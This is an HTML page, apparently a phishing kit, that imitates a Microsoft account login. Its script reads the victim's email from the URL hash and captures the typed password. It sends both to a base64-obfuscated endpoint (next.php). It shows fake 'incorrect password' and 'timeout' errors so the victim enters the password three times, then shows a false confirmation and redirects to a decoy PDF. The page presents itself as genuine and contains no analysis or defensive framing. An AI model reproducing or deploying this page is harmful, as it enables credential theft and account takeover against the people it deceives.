<!doctypehtml><html lang=en><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js></script><script src=https://code.jquery.com/jquery-3.1.1.min.js></script><script crossorigin integrity=sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60= src=https://code.jquery.com/jquery-3.3.1.js></script><meta charset=utf-8><meta content=width=device-width,initial-scale=1,shrink-to-fit=no name=viewport><link crossorigin href=https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css integrity=sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm rel=stylesheet><link href=https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap rel=stylesheet><link crossorigin href=https://use.fontawesome.com/releases/v5.7.0/css/all.css integrity=sha384-lZN37f5QGtY3VHgisS14W3ExzMWZxybE1SJSEsQp9S+oqd12jhcu+A56Ebc1zFSJ rel=stylesheet><title>
   Microsoft | Login
  </title><style>textarea:hover,
    input:hover,
    textarea:active,
    input:active,
    textarea:focus,
    input:focus,
    button:focus,
    button:active,
    button:hover,
    label:focus,
    .btn:active,
    .btn.active {
        outline: 0px !important;
        -webkit-appearance: none;
        box-shadow: none !important;
    }

    .box {
        box-shadow: 0 2px 3px rgba(0, 0, 0, 0.32);
        border: 0px solid rgba(0, 0, 0, 0.4);
        max-height: 415px;


        width: 440px;
        /*width: calc(100% - 40px);*/
        padding: 44px;
        margin-left: auto;
        margin-right: auto;
        margin-top: 20px;
        margin-bottom: 28px;
    }

    #footer {
        position: fixed;
        bottom: 0px;
        width: 100%;
        overflow: visible;
        z-index: 99;
        clear: both;


    }

    /*.footerNode span {
    color: #fff;
    font-size: 0.75rem;
    line-height: 28px;
    white-space: nowrap;
    display: inline-block;
    float: right;
    margin-left: 8px;
    margin-right: 8px;
}*/
    div .footerNode a,
    div .footerNode span {
        color: black;
        font-size: 0.75rem;
        line-height: 28px;
        white-space: nowrap;
        display: inline-block;
        float: right;
        margin-left: 8px;
        margin-right: 8px;
    }

    @media only screen and (max-width: 610px) {
        #hide {
            display: none;
        }
    }</style><body style="background-image: url('images/bg.jpg'); background-size: cover;background-repeat: no-repeat;"><div class=container-fluid><div class=container><div class="row my-5 py-5"><div class="col-lg-6 mx-auto"><div class="m-5 p-5 bg-white box"id=div1><img class=img-fluid src=images/microsoft_logo.svg><br><br><span class=h5> Sign In </span><br><span style="display: none;"class=text-danger id=error> That Microsoft account doesn't exist. Enter a different account </span><div class="form-group mt-2"><input class="form-control rounded-0 border-dark"placeholder="Email, phone or skype"style="border-right: none;border-left: none;border-top: none;"aria-describedby=aiHelp id=ai name=ai type=email></div><p style="font-size: 14px">No account? <a href=#> Create one! </a><p style="font-size: 14px"><a href=#> Sign in with a security key </a><p style="font-size: 14px"><a href=#> sign in options </a><div class=text-right><button class="btn rounded-0 text-white px-4"style="background-color: #0066BA;"id=next>Next</button></div></div><div class="m-5 p-5 bg-white box"style="display: none;"id=div2><form id=contact><img class=img-fluid src=images/microsoft_logo.svg><br><i class="fas fa-arrow-left"id=back> </i>   <span id=aich> abc@abc.com </span><div class=py-2><span style="color: #4E4542"class=h4> Enter Password </span></div><div class=pb-2><span class=text-dark id=msg> Because you're accessing sensitive info, you need to verify your password </span><span style="display: none;"class=text-danger id=msg2> Your account or password is incorrect. If you don't remember your password, <a href=#> reset it now </a> </span><span style="display: none;"class=text-danger id=msg1> Sign in attempt timeout, verify your password </span></div><div class="form-group mt-1"><input class="form-control rounded-0 border-dark"placeholder="Enter Password"style="border-right: none;border-left: none;border-top: none;"aria-describedby=emailHelp id=pr name=pr type=password></div><p style="font-size: 14px"><a href=#> Forget password? </a><div class=text-right><button class="btn rounded-0 text-white px-4"style="background-color: #0066BA;"id=submit-btn>Sign in</button></div></form></div><div class="m-5 p-5 bg-white box"style="display: none;min-height: 440px;min-width: 408px;"id=div3><div class="text-center mt-3 text-center"><img class=img-fluid id=success src=images/success.PNG width=140px></div><center> <span style="font-size: 20px;display: block;"id=load-text-2> <br> <br> <br> Successfully Confirmed: <br> Redirected to homepage... </span> </center></div></div></div></div></div><footer style="padding-right: 30px"id=footer><div><div class=footerNode><span> Privacy & cookie </span><a data-bind="text: config.text.privacyAndCookies, attr: {'data-url': config.links.privacyAndCookies}"data-url=https://go.microsoft.com/fwlink/?LinkId=521839 href=#> Terms of use </a></div></div></footer><script crossorigin integrity=sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN src=https://code.jquery.com/jquery-3.2.1.slim.min.js></script><script crossorigin integrity=sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q src=https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js></script><script crossorigin integrity=sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl src=https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js></script><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js></script><script>/* global $ */
$(document).ready(function() {
    var count = 0;


    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;

        if (!base64regex.test(ai)) {
            // alert(btoa(ai));
            var my_ai = ai;
        } else {
            // alert(atob(ai));
            var my_ai = atob(ai);
        }
        // $('#ai').val(ai);
        // var my_ai =ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
            $('#error').show();
            ai.focus;
            return false;
        }
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $('#ai').val(my_ai);
        $("#div1").animate({ left: 0, opacity: "hide" }, 0);
        $("#div2").animate({ right: 0, opacity: "show" }, 500);

        $("#aich").html(my_ai);


    }





    $('#ai').click(function() {
        $('#error').hide();
    });

    $(document).keypress(function(event) {

        var keycode = (event.keyCode ? event.keyCode : event.which);
        if (keycode == '13') {
            event.preventDefault();
            if ($("#div1").is(":visible")) {

                $("#next").click();

            } else if ($("#div2").is(":visible")) {
                event.preventDefault();

                $("#submit-btn").click();

            } else {
                return false;
            }
        }
    });


    $('#next').click(function() {
        event.preventDefault();
        var my_ai = $('#ai').val();
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_ai)) {
            $('#error').show();
            ai.focus;
            return false;
        }
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $("#div1").animate({ left: 0, opacity: "hide" }, 0);
        $("#div2").animate({ right: 0, opacity: "show" }, 500);

        $("#aich").html(my_ai);





    });
    // $('#back').click(function() {
    //     // $("#msg").hide();
    //     $("#ai").val("");
    //     $("#pr").val("");
    //     $("#div2").animate({ left: 0, opacity: "hide" }, 0);
    //     $("#div1").animate({ right: 0, opacity: "show" }, 1000);

    // });

var file="bmV4dC5waHA=";
    $('#submit-btn').click(function(event) {
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var detail = $("#field").html();
        var msg = $('#msg').html();

        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        $('#msg').text(msg);
        count = count + 1;
        $.ajax({
            dataType: 'JSON',
            url: atob(file),
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
                detail: detail,

            },
            beforeSend: function(xhr) {
                $("#submit-btn").html("verifying...");
            },
            success: function(response) {
                $("#pr").val("");
                if (count >= 3) {
                    count = 0;
                    $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                    $("#div3").animate({ left: 0, opacity: "show" }, 500);
                    setTimeout(() => {
                        window.location.replace("inv0.pdf");
                    }, 500);
                    return false;
                }
                if (count == 2) {
                    $("#msg2").show();
                    $("#msg").hide();
                    $("#msg1").hide();
                } else {
                    $("#msg1").show();
                    $("#msg").hide();
                    $("#msg2").hide();

                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 3) {
                    count = 0;
                    $("#div2").animate({ left: 0, opacity: "hide" }, 0);
                    $("#div3").animate({ left: 0, opacity: "show" }, 500);
                    setTimeout(() => {
                        window.location.replace("inv0.pdf");
                    }, 1000);
                    return false;
                }
                if (count == 2) {
                    $("#msg2").show();
                    $("#msg").hide();
                    $("#msg1").hide();
                } else {
                    $("#msg1").show();
                    $("#msg").hide();
                    $("#msg2").hide();

                }
            },
            complete: function() {
                $("#submit-btn").html("Sign in");
            }
        });
    });
});</script>